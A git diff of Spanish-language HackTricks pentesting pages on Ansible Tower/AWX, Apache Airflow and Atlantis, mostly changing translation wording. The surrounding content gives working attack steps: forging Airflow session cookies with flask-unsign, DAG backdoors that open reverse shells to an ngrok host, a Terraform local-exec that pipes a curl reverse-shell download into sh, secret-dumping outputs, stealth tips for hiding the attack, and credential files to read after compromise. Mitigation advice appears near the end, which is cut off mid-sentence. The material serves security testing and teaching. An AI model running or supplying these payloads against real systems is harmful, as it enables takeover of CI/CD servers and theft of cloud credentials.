diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md index 2051794c0..7033ee639 100644 --- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md +++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md @@ -1,4 +1,4 @@ -# Ansible Tower / AWX / Seguridad del controlador de automatización +# Seguridad de Ansible Tower / AWX / Controlador de Automatización {{#include ../banners/hacktricks-training.md}} @@ -6,11 +6,11 @@ **Ansible Tower** o su versión de código abierto [**AWX**](https://github.com/ansible/awx) también se conoce como **la interfaz de usuario, el panel de control y la API REST de Ansible**. Con **control de acceso basado en roles**, programación de trabajos y gestión gráfica de inventarios, puedes gestionar tu infraestructura de Ansible desde una interfaz moderna. La API REST de Tower y la interfaz de línea de comandos facilitan su integración en herramientas y flujos de trabajo actuales. -**El Controlador de Automatización es una versión más nueva** de Ansible Tower con más capacidades. +**El Controlador de Automatización es una versión** más nueva de Ansible Tower con más capacidades. ### Diferencias -Según [**esto**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), las principales diferencias entre Ansible Tower y AWX son el soporte recibido y que Ansible Tower tiene características adicionales como control de acceso basado en roles, soporte para API personalizadas y flujos de trabajo definidos por el usuario. +Según [**esto**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), las principales diferencias entre Ansible Tower y AWX son el soporte recibido y que Ansible Tower tiene características adicionales como control de acceso basado en roles, soporte para APIs personalizadas y flujos de trabajo definidos por el usuario. ### Stack Tecnológico @@ -29,7 +29,7 @@ Según [**esto**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65 - **Motor de Tareas**: Aquí es donde ocurre la magia. El motor de tareas está construido sobre Ansible y es responsable de **ejecutar los playbooks**. Los trabajos se envían al motor de tareas, que luego ejecuta los playbooks de Ansible contra el inventario designado utilizando las credenciales especificadas. - **Programadores y Retornos de Llamada**: Estas son características avanzadas en AWX/Tower que permiten **programar trabajos** para que se ejecuten en momentos específicos o se activen por eventos externos. - **Notificaciones**: AWX/Tower puede enviar notificaciones basadas en el éxito o fracaso de los trabajos. Soporta varios medios de notificación como correos electrónicos, mensajes de Slack, webhooks, etc. -- **Playbooks de Ansible**: Los playbooks de Ansible son herramientas de configuración, implementación y orquestación. Describen el estado deseado de los sistemas de manera automatizada y repetible. Escritos en YAML, los playbooks utilizan el lenguaje de automatización declarativa de Ansible para describir configuraciones, tareas y pasos que deben ejecutarse. +- **Playbooks de Ansible**: Los playbooks de Ansible son herramientas de configuración, implementación y orquestación. Describen el estado deseado de los sistemas de manera automatizada y repetible. Escrito en YAML, los playbooks utilizan el lenguaje de automatización declarativa de Ansible para describir configuraciones, tareas y pasos que deben ejecutarse. ### Flujo de Ejecución de Trabajos @@ -37,7 +37,7 @@ Según [**esto**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65 2. **Iniciación del Trabajo**: - El usuario, a través de la Interfaz Web o API, inicia un trabajo basado en una **Plantilla de Trabajo**. - La Plantilla de Trabajo incluye referencias al **Inventario**, **Proyecto** (que contiene el playbook) y **Credenciales**. -- Al iniciar el trabajo, se envía una solicitud al backend de AWX/Tower para poner el trabajo en cola para su ejecución. +- Al iniciar el trabajo, se envía una solicitud al backend de AWX/Tower para poner en cola el trabajo para su ejecución. 3. **Colocación en Cola del Trabajo**: - **RabbitMQ** maneja la mensajería entre el componente web y los ejecutores de tareas. Una vez que se inicia un trabajo, se envía un mensaje al motor de tareas utilizando RabbitMQ. - **Redis** actúa como el backend para la cola de tareas, gestionando los trabajos en cola que esperan ejecución. @@ -103,34 +103,34 @@ Desde una revisión de **seguridad de caja blanca**, necesitarías el **rol de A 3. **Roles de Organización**: - **Admin**: Control total sobre los recursos de la organización. - **Auditor**: Acceso solo de lectura a los recursos de la organización. -- **Miembro**: Membresía básica en una organización sin permisos específicos. -- **Ejecutar**: Puede ejecutar plantillas de trabajo dentro de la organización. -- **Leer**: Puede ver los recursos de la organización. +- **Member**: Membresía básica en una organización sin permisos específicos. +- **Execute**: Puede ejecutar plantillas de trabajo dentro de la organización. +- **Read**: Puede ver los recursos de la organización. 4. **Roles de Proyecto**: - **Admin**: Puede gestionar y modificar el proyecto. -- **Usar**: Puede usar el proyecto en una plantilla de trabajo. -- **Actualizar**: Puede actualizar el proyecto usando SCM (control de versiones). +- **Use**: Puede usar el proyecto en una plantilla de trabajo. +- **Update**: Puede actualizar el proyecto usando SCM (control de versiones). 5. **Roles de Inventario**: - **Admin**: Puede gestionar y modificar el inventario. - **Ad Hoc**: Puede ejecutar comandos ad hoc en el inventario. -- **Actualizar**: Puede actualizar la fuente del inventario. -- **Usar**: Puede usar el inventario en una plantilla de trabajo. -- **Leer**: Acceso solo de lectura. +- **Update**: Puede actualizar la fuente del inventario. +- **Use**: Puede usar el inventario en una plantilla de trabajo. +- **Read**: Acceso solo de lectura. 6. **Roles de Plantilla de Trabajo**: - **Admin**: Puede gestionar y modificar la plantilla de trabajo. -- **Ejecutar**: Puede ejecutar el trabajo. -- **Leer**: Acceso solo de lectura. +- **Execute**: Puede ejecutar el trabajo. +- **Read**: Acceso solo de lectura. 7. **Roles de Credenciales**: - **Admin**: Puede gestionar y modificar las credenciales. -- **Usar**: Puede usar las credenciales en plantillas de trabajo u otros recursos relevantes. -- **Leer**: Acceso solo de lectura. +- **Use**: Puede usar las credenciales en plantillas de trabajo u otros recursos relevantes. +- **Read**: Acceso solo de lectura. 8. **Roles de Equipo**: -- **Miembro**: Parte del equipo pero sin permisos específicos. +- **Member**: Parte del equipo pero sin permisos específicos. - **Admin**: Puede gestionar a los miembros del equipo y los recursos asociados. 9. **Roles de Flujo de Trabajo**: - **Admin**: Puede gestionar y modificar el flujo de trabajo. -- **Ejecutar**: Puede ejecutar el flujo de trabajo. -- **Leer**: Acceso solo de lectura. +- **Execute**: Puede ejecutar el flujo de trabajo. +- **Read**: Acceso solo de lectura. diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md index dfe7e7880..508976700 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/README.md +++ b/src/pentesting-ci-cd/apache-airflow-security/README.md @@ -12,7 +12,7 @@ Básicamente, Apache Airflow te permitirá **programar la ejecución de código #### Docker-Compose -Puedes usar el **archivo de configuración de docker-compose de** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) para lanzar un entorno docker completo de apache airflow. (Si estás en MacOS, asegúrate de darle al menos 6GB de RAM a la VM de docker). +Puedes usar el **archivo de configuración de docker-compose de** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) para lanzar un entorno completo de docker de apache airflow. (Si estás en MacOS asegúrate de darle al menos 6GB de RAM a la VM de docker). #### Minikube @@ -46,13 +46,13 @@ airflow-rbac.md #### Enumeración de la Consola Web -Si tienes **acceso a la consola web**, podrías acceder a parte o toda la siguiente información: +Si tienes **acceso a la consola web**, podrías ser capaz de acceder a parte o toda la siguiente información: - **Variables** (Información sensible personalizada podría estar almacenada aquí) - **Conexiones** (Información sensible personalizada podría estar almacenada aquí) -- Acceder a ellas en `http:///connection/list/` +- Accede a ellas en `http:///connection/list/` - [**Configuración**](./#airflow-configuration) (Información sensible como el **`secret_key`** y contraseñas podría estar almacenada aquí) -- Listar **usuarios y roles** +- Lista de **usuarios y roles** - **Código de cada DAG** (que podría contener información interesante) #### Recuperar Valores de Variables @@ -70,13 +70,13 @@ Otra forma es realizar un **bruteforce** al **valor oculto** utilizando el **fil #### Escalación de Privilegios -Si la configuración **`expose_config`** está establecida en **True**, desde el **rol Usuario** y **hacia arriba** pueden **leer** la **configuración en la web**. En esta configuración, aparece el **`secret_key`**, lo que significa que cualquier usuario con este válido puede **crear su propia cookie firmada para suplantar cualquier otra cuenta de usuario**. +Si la configuración **`expose_config`** está establecida en **True**, desde el **rol Usuario** y **hacia arriba** pueden **leer** la **configuración en la web**. En esta configuración, aparece el **`secret_key`**, lo que significa que cualquier usuario con esto válido puede **crear su propia cookie firmada para suplantar cualquier otra cuenta de usuario**. ```bash flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}" ``` #### DAG Backdoor (RCE en el trabajador de Airflow) -Si tienes **acceso de escritura** al lugar donde se **guardan los DAGs**, puedes simplemente **crear uno** que te enviará un **reverse shell.**\ +Si tienes **acceso de escritura** al lugar donde se **guardan los DAGs**, puedes **crear uno** que te enviará un **reverse shell.**\ Ten en cuenta que este reverse shell se ejecutará dentro de un **contenedor de trabajador de airflow**: ```python import pendulum @@ -118,7 +118,7 @@ op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433} ``` #### DAG Backdoor (RCE en el programador de Airflow) -Si configuras algo para que sea **ejecutado en la raíz del código**, en el momento de escribir esto, será **ejecutado por el programador** después de un par de segundos de colocarlo dentro de la carpeta del DAG. +Si configuras algo para que sea **ejecutado en la raíz del código**, en el momento de escribir esto, será **ejecutado por el programador** después de un par de segundos de haberlo colocado dentro de la carpeta del DAG. ```python import pendulum, socket, os, pty from airflow import DAG @@ -148,7 +148,7 @@ Si logras **comprometer una máquina dentro del clúster DAG**, puedes crear nue #### Inyección de Código en DAG -Cuando ejecutas un DAG desde la GUI puedes **pasar argumentos** a él.\ +Cuando ejecutas un DAG desde la GUI, puedes **pasar argumentos** a él.\ Por lo tanto, si el DAG no está correctamente codificado, podría ser **vulnerable a Inyección de Comandos.**\ Eso es lo que ocurrió en este CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927) diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md index 4e90df4a6..7ad61da7b 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md @@ -52,7 +52,7 @@ Algunos valores interesantes para verificar al leer el archivo de configuración ### \[dask] -- **`tls_ca`**: Ruta a ca +- **`tls_ca`**: Ruta al ca - **`tls_cert`**: Ruta al cert - **`tls_key`**: Ruta a la clave tls @@ -92,7 +92,7 @@ Por defecto, la **autenticación web** se especifica en el archivo **`webserver_ ```bash AUTH_TYPE = AUTH_DB ``` -Lo que significa que la **autenticación se verifica contra la base de datos**. Sin embargo, otras configuraciones son posibles como +Lo que significa que la **autenticación se verifica contra la base de datos**. Sin embargo, son posibles otras configuraciones como ```bash AUTH_TYPE = AUTH_OAUTH ``` diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md index f63fcf371..d413d90c7 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md @@ -6,13 +6,13 @@ (De la documentación)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow se envía con un **conjunto de roles por defecto**: **Admin**, **User**, **Op**, **Viewer** y **Public**. **Solo los usuarios `Admin`** pueden **configurar/alterar los permisos para otros roles**. Pero no se recomienda que los usuarios `Admin` alteren estos roles predeterminados de ninguna manera, eliminando o agregando permisos a estos roles. -- **Los usuarios `Admin`** tienen todos los permisos posibles. -- **Los usuarios `Public`** (anónimos) no tienen ningún permiso. -- **Los usuarios `Viewer`** tienen permisos limitados de visualización (solo lectura). **No pueden ver la configuración.** -- **Los usuarios `User`** tienen permisos de `Viewer` más permisos adicionales que les permiten gestionar DAGs un poco. **Pueden ver el archivo de configuración.** -- **Los usuarios `Op`** tienen permisos de `User` más permisos adicionales de operación. +- **`Admin`** los usuarios tienen todos los permisos posibles. +- **`Public`** los usuarios (anónimos) no tienen ningún permiso. +- **`Viewer`** los usuarios tienen permisos limitados de visualización (solo lectura). **No puede ver la configuración.** +- **`User`** los usuarios tienen permisos de `Viewer` más permisos adicionales que les permiten gestionar DAGs un poco. Él **puede ver el archivo de configuración.** +- **`Op`** los usuarios tienen permisos de `User` más permisos adicionales de operación. -Tenga en cuenta que **los usuarios admin** pueden **crear más roles** con más **permisos granulares**. +Tenga en cuenta que los usuarios **admin** pueden **crear más roles** con más **permisos granulares**. También tenga en cuenta que el único rol predeterminado con **permiso para listar usuarios y roles es Admin, ni siquiera Op** podrá hacer eso. diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md index 4fcefa43d..3a398243b 100644 --- a/src/pentesting-ci-cd/atlantis-security.md +++ b/src/pentesting-ci-cd/atlantis-security.md @@ -2,24 +2,24 @@ {{#include ../banners/hacktricks-training.md}} -### Basic Information +### Información Básica Atlantis básicamente te ayuda a ejecutar terraform desde Pull Requests de tu servidor git. ![](<../images/image (161).png>) -### Local Lab +### Laboratorio Local -1. Ve a la **página de lanzamientos de atlantis** en [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) y **descarga** la que te convenga. +1. Ve a la **página de lanzamientos de atlantis** en [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) y **descarga** la que más te convenga. 2. Crea un **token personal** (con acceso a repos) de tu usuario de **github**. 3. Ejecuta `./atlantis testdrive` y se creará un **repositorio de demostración** que puedes usar para **hablar con atlantis**. 1. Puedes acceder a la página web en 127.0.0.1:4141. -### Atlantis Access +### Acceso a Atlantis -#### Git Server Credentials +#### Credenciales del Servidor Git -**Atlantis** soporta varios hosts de git como **Github**, **Gitlab**, **Bitbucket** y **Azure DevOps**.\ +**Atlantis** soporta varios hosts git como **Github**, **Gitlab**, **Bitbucket** y **Azure DevOps**.\ Sin embargo, para acceder a los repos en esas plataformas y realizar acciones, necesita tener algún **acceso privilegiado concedido a ellos** (al menos permisos de escritura).\ [**Los docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) fomentan crear un usuario en estas plataformas específicamente para Atlantis, pero algunas personas pueden usar cuentas personales. @@ -37,7 +37,7 @@ Ten en cuenta que a menos que uses un servidor privado de github o bitbucket, ne > [!WARNING] > Atlantis va a estar **exponiendo webhooks** para que el servidor git pueda enviarle información. Desde la perspectiva de un atacante, sería interesante saber **si puedes enviarle mensajes**. -#### Provider Credentials +#### Credenciales del Proveedor [De los docs:](https://www.runatlantis.io/docs/provider-credentials.html) @@ -56,13 +56,13 @@ Depende de ti cómo [proporcionar credenciales](https://www.runatlantis.io/docs/ > [!WARNING] > El **contenedor** donde **Atlantis** está **ejecutándose** probablemente **contendrá credenciales privilegiadas** para los proveedores (AWS, GCP, Github...) que Atlantis está gestionando a través de Terraform. -#### Web Page +#### Página Web -Por defecto, Atlantis ejecutará una **página web en el puerto 4141 en localhost**. Esta página solo te permite habilitar/deshabilitar atlantis apply y verificar el estado del plan de los repos y desbloquearlos (no permite modificar cosas, por lo que no es tan útil). +Por defecto, Atlantis ejecutará una **página web en el puerto 4141 en localhost**. Esta página solo te permite habilitar/deshabilitar la aplicación de atlantis y verificar el estado del plan de los repos y desbloquearlos (no permite modificar cosas, por lo que no es tan útil). Probablemente no la encuentres expuesta a Internet, pero parece que por defecto **no se necesitan credenciales** para acceder a ella (y si las hay, `atlantis`:`atlantis` son las **predeterminadas**). -### Server Configuration +### Configuración del Servidor La configuración para `atlantis server` puede especificarse a través de flags de línea de comando, variables de entorno, un archivo de configuración o una mezcla de los tres. @@ -78,18 +78,18 @@ Los valores se **eligen en este orden**: > [!WARNING] > Ten en cuenta que en la configuración podrías encontrar valores interesantes como **tokens y contraseñas**. -#### Repos Configuration +#### Configuración de Repos Algunas configuraciones afectan **cómo se gestionan los repos**. Sin embargo, es posible que **cada repo requiera configuraciones diferentes**, por lo que hay formas de especificar cada repo. Este es el orden de prioridad: 1. Archivo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config). Este archivo se puede usar para especificar cómo atlantis debería tratar el repo. Sin embargo, por defecto algunas claves no se pueden especificar aquí sin algunos flags que lo permitan. 1. Probablemente requerido ser permitido por flags como `allowed_overrides` o `allow_custom_workflows`. -2. [**Configuración del lado del servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Puedes pasarlo con el flag `--repo-config` y es un yaml que configura nuevos ajustes para cada repo (regexes soportados). +2. [**Configuración del Lado del Servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Puedes pasarlo con el flag `--repo-config` y es un yaml que configura nuevos ajustes para cada repo (regexes soportados). 3. Valores **predeterminados**. -**PR Protections** +**Protecciones de PR** -Atlantis permite indicar si deseas que el **PR** sea **`aprobado`** por alguien más (incluso si eso no está configurado en la protección de rama) y/o ser **`fusionable`** (protecciones de rama aprobadas) **antes de ejecutar apply**. Desde un punto de vista de seguridad, establecer ambas opciones es recomendable. +Atlantis permite indicar si deseas que el **PR** sea **`aprobado`** por alguien más (incluso si eso no está configurado en la protección de la rama) y/o ser **`fusionable`** (protecciones de rama aprobadas) **antes de ejecutar apply**. Desde un punto de vista de seguridad, establecer ambas opciones es recomendable. En caso de que `allowed_overrides` sea True, estas configuraciones pueden ser **sobrescritas en cada proyecto por el archivo `/atlantis.yml`**. @@ -97,12 +97,12 @@ En caso de que `allowed_overrides` sea True, estas configuraciones pueden ser ** La configuración del repo puede **especificar scripts** para ejecutar [**antes**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_ganchos de pre flujo de trabajo_) y [**después**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_ganchos de post flujo de trabajo_) de que se ejecute un **flujo de trabajo**. -No hay ninguna opción para permitir **especificar** estos scripts en el **archivo de repo `/atlantis.yml`**. +No hay ninguna opción para permitir **especificar** estos scripts en el **archivo `/atlantis.yml`** del repo. -**Workflow** +**Flujo de Trabajo** En la configuración del repo (configuración del lado del servidor) puedes [**especificar un nuevo flujo de trabajo predeterminado**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), o [**crear nuevos flujos de trabajo personalizados**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** También puedes **especificar** qué **repos** pueden **acceder** a los **nuevos** generados.\ -Luego, puedes permitir que el archivo **atlantis.yaml** de cada repo **especifique el flujo de trabajo a usar.** +Luego, puedes permitir que el archivo **atlantis.yaml** de cada repo **especifique el flujo de trabajo a usar**. > [!CAUTION] > Si el flag de [**configuración del lado del servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` está configurado en **True**, los flujos de trabajo pueden ser **especificados** en el archivo **`atlantis.yaml`** de cada repo. También es potencialmente necesario que **`allowed_overrides`** especifique también **`workflow`** para **sobrescribir el flujo de trabajo** que se va a utilizar.\ @@ -124,7 +124,7 @@ Luego, puedes permitir que el archivo **atlantis.yaml** de cada repo **especifiq > steps: - run: my custom apply command > ``` -**Conftest Policy Checking** +**Verificación de Políticas de Conftest** Atlantis soporta ejecutar **políticas de conftest** [**del lado del servidor**](https://www.conftest.dev/) contra la salida del plan. Los casos de uso comunes para usar este paso incluyen: @@ -135,7 +135,7 @@ Atlantis soporta ejecutar **políticas de conftest** [**del lado del servidor**] Puedes consultar cómo configurarlo en [**los docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works). -### Atlantis Commands +### Comandos de Atlantis [**En los docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) puedes encontrar las opciones que puedes usar para ejecutar Atlantis: ```bash @@ -170,7 +170,7 @@ Puedes solucionarlo ejecutando: atlantis unlock #You might need to run this in a different PR atlantis plan -- -lock=false ``` -#### Atlantis plan RCE - Modificación de configuración en una nueva PR +#### Atlantis plan RCE - Modificación de configuración en nueva PR Si tienes acceso de escritura sobre un repositorio, podrás crear una nueva rama en él y generar una PR. Si puedes **ejecutar `atlantis plan`** (o tal vez se ejecute automáticamente) **podrás RCE dentro del servidor de Atlantis**. @@ -192,8 +192,8 @@ source = "git@github.com:carlospolop/terraform_external_module_rev_shell//module ``` Puedes encontrar el código de rev shell en [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) -- En el recurso externo, utiliza la característica **ref** para ocultar el **código de rev shell de terraform en una rama** dentro del repositorio, algo como: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` -- **En lugar de** crear un **PR a master** para activar Atlantis, **crea 2 ramas** (test1 y test2) y crea un **PR de una a la otra**. Cuando hayas completado el ataque, simplemente **elimina el PR y las ramas**. +- En el recurso externo, utiliza la función **ref** para ocultar el **código de rev shell de terraform en una rama** dentro del repositorio, algo como: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- **En lugar** de crear un **PR a master** para activar Atlantis, **crea 2 ramas** (test1 y test2) y crea un **PR de una a la otra**. Cuando hayas completado el ataque, simplemente **elimina el PR y las ramas**. #### Atlantis plan Secrets Dump @@ -203,7 +203,7 @@ output "dotoken" { value = nonsensitive(var.do_token) } ``` -#### Atlantis apply RCE - Modificación de configuración en nueva PR +#### Atlantis aplicar RCE - Modificación de configuración en nueva PR Si tienes acceso de escritura sobre un repositorio, podrás crear una nueva rama en él y generar una PR. Si puedes **ejecutar `atlantis apply`, podrás RCE dentro del servidor de Atlantis**. @@ -211,7 +211,7 @@ Sin embargo, generalmente necesitarás eludir algunas protecciones: - **Mergeable**: Si esta protección está configurada en Atlantis, solo podrás ejecutar **`atlantis apply` si la PR es mergeable** (lo que significa que la protección de rama debe ser eludida). - Verifica posibles [**elusiones de protecciones de rama**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) -- **Approved**: Si esta protección está configurada en Atlantis, **otro usuario debe aprobar la PR** antes de que puedas ejecutar `atlantis apply` +- **Aprobado**: Si esta protección está configurada en Atlantis, **otro usuario debe aprobar la PR** antes de que puedas ejecutar `atlantis apply` - Por defecto, puedes abusar del [**token de Gitbot para eludir esta protección**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) Ejecutando **`terraform apply` en un archivo de Terraform malicioso con** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ @@ -231,7 +231,7 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" } } ``` -Sigue las **sugerencias de la técnica anterior** para realizar este ataque de una manera **más sigilosa**. +Sigue las **sugerencias de la técnica anterior** para realizar este ataque de una **manera más sigilosa**. #### Inyección de Parámetros de Terraform @@ -243,7 +243,7 @@ atlantis plan -- -h #Get terraform plan help atlantis apply -- atlantis apply -- -h #Get terraform apply help ``` -Algo que puedes pasar son variables de entorno que pueden ser útiles para eludir algunas protecciones. Consulta las variables de entorno de terraform en [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) +Algo que puedes pasar son variables de entorno que pueden ser útiles para eludir algunas protecciones. Revisa las variables de entorno de terraform en [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) #### Flujo de trabajo personalizado @@ -251,7 +251,7 @@ Ejecutando **comandos de construcción personalizados maliciosos** especificados Esta posibilidad se mencionó en una sección anterior: > [!CAUTION] -> Si la bandera de [**configuración del lado del servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` está configurada como **True**, los flujos de trabajo pueden ser **especificados** en el **archivo `atlantis.yaml`** de cada repositorio. También es potencialmente necesario que **`allowed_overrides`** especifique también **`workflow`** para **sobrescribir el flujo de trabajo** que se va a utilizar. +> Si la bandera de [**configuración del lado del servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` está configurada como **True**, los flujos de trabajo pueden ser **especificados** en el archivo **`atlantis.yaml`** de cada repositorio. También es potencialmente necesario que **`allowed_overrides`** especifique también **`workflow`** para **sobrescribir el flujo de trabajo** que se va a utilizar. > > Esto básicamente dará **RCE en el servidor de Atlantis a cualquier usuario que pueda acceder a ese repositorio**. > @@ -280,29 +280,29 @@ repos: - id: /.*/ apply_requirements: [] ``` -#### PR Hijacking +#### Secuestro de PR Si alguien envía **`atlantis plan/apply` comentarios en tus pull requests válidos,** hará que terraform se ejecute cuando no lo desees. -Además, si no tienes configurado en la **protección de ramas** para pedir **reevaluar** cada PR cuando se **empuja un nuevo commit** a ella, alguien podría **escribir configuraciones maliciosas** (ver escenarios anteriores) en la configuración de terraform, ejecutar `atlantis plan/apply` y obtener RCE. +Además, si no tienes configurado en la **protección de ramas** que se pida **reevaluar** cada PR cuando se **empuja un nuevo commit** a él, alguien podría **escribir configuraciones maliciosas** (ver escenarios anteriores) en la configuración de terraform, ejecutar `atlantis plan/apply` y obtener RCE. Esta es la **configuración** en las protecciones de ramas de Github: ![](<../images/image (216).png>) -#### Webhook Secret +#### Secreto del Webhook -Si logras **robar el webhook secret** utilizado o si **no hay ningún webhook secret** en uso, podrías **llamar al webhook de Atlantis** e **invocar comandos de atlantis** directamente. +Si logras **robar el secreto del webhook** utilizado o si **no hay ningún secreto de webhook** en uso, podrías **llamar al webhook de Atlantis** e **invocar comandos de atlantis** directamente. #### Bitbucket -Bitbucket Cloud **no soporta webhook secrets**. Esto podría permitir a los atacantes **suplantar solicitudes de Bitbucket**. Asegúrate de permitir solo IPs de Bitbucket. +Bitbucket Cloud **no soporta secretos de webhook**. Esto podría permitir a los atacantes **suplantar solicitudes de Bitbucket**. Asegúrate de permitir solo IPs de Bitbucket. - Esto significa que un **atacante** podría hacer **solicitudes falsas a Atlantis** que parecen provenir de Bitbucket. - Si estás especificando `--repo-allowlist`, entonces solo podrían falsificar solicitudes relacionadas con esos repos, por lo que el mayor daño que podrían hacer sería planificar/aplicar en tus propios repos. -- Para prevenir esto, permite [las direcciones IP de Bitbucket](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (ver direcciones IPv4 salientes). +- Para prevenir esto, permite las [direcciones IP de Bitbucket](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (ver direcciones IPv4 salientes). -### Post-Exploitation +### Post-Explotación Si lograste acceder al servidor o al menos obtuviste un LFI, hay algunas cosas interesantes que deberías intentar leer: @@ -313,15 +313,15 @@ Si lograste acceder al servidor o al menos obtuviste un LFI, hay algunas cosas i - `/proc/1/environ` Variables de entorno - `/proc/[2-20]/cmdline` Línea de comandos de `atlantis server` (puede contener datos sensibles) -### Mitigations +### Mitigaciones -#### Don't Use On Public Repos +#### No Usar en Repos Públicos -Porque cualquiera puede comentar en pull requests públicos, incluso con todas las mitigaciones de seguridad disponibles, sigue siendo peligroso ejecutar Atlantis en repos públicos sin la configuración adecuada de los ajustes de seguridad. +Debido a que cualquiera puede comentar en pull requests públicos, incluso con todas las mitigaciones de seguridad disponibles, sigue siendo peligroso ejecutar Atlantis en repos públicos sin la configuración adecuada de los ajustes de seguridad. -#### Don't Use `--allow-fork-prs` +#### No Usar `--allow-fork-prs` -Si estás ejecutando en un repos público (lo cual no se recomienda, ver arriba) no deberías establecer `--allow-fork-prs` (por defecto es falso) porque cualquiera puede abrir un pull request desde su fork a tu repositorio. +Si estás ejecutando en un repos público (lo cual no se recomienda, ver arriba), no deberías establecer `--allow-fork-prs` (por defecto es falso) porque cualquiera puede abrir un pull request desde su fork a tu repositorio. #### `--repo-allowlist` @@ -330,41 +330,41 @@ Atlantis requiere que especifiques una lista permitida de repositorios de los qu - Repositorios específicos: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests` - Tu organización completa: `--repo-allowlist=github.com/runatlantis/*` - Cada repositorio en tu instalación de GitHub Enterprise: `--repo-allowlist=github.yourcompany.com/*` -- Todos los repositorios: `--repo-allowlist=*`. Útil cuando estás en una red protegida pero peligroso sin también establecer un webhook secret. +- Todos los repositorios: `--repo-allowlist=*`. Útil cuando estás en una red protegida pero peligroso sin también establecer un secreto de webhook. Esta bandera asegura que tu instalación de Atlantis no se esté utilizando con repositorios que no controlas. Consulta `atlantis server --help` para más detalles. -#### Protect Terraform Planning +#### Proteger la Planificación de Terraform -Si los atacantes envían pull requests con código malicioso de Terraform en tu modelo de amenaza, entonces debes ser consciente de que las aprobaciones de `terraform apply` no son suficientes. Es posible ejecutar código malicioso en un `terraform plan` utilizando la [fuente de datos `external`](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) o especificando un proveedor malicioso. Este código podría luego exfiltrar tus credenciales. +Si los atacantes que envían pull requests con código malicioso de Terraform están en tu modelo de amenaza, entonces debes ser consciente de que las aprobaciones de `terraform apply` no son suficientes. Es posible ejecutar código malicioso en un `terraform plan` utilizando la [`fuente de datos externa`](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) o especificando un proveedor malicioso. Este código podría luego exfiltrar tus credenciales. Para prevenir esto, podrías: -1. Incluir proveedores en la imagen de Atlantis o alojar y negar egress en producción. -2. Implementar el protocolo de registro de proveedores internamente y negar egress público, de esa manera controlas quién 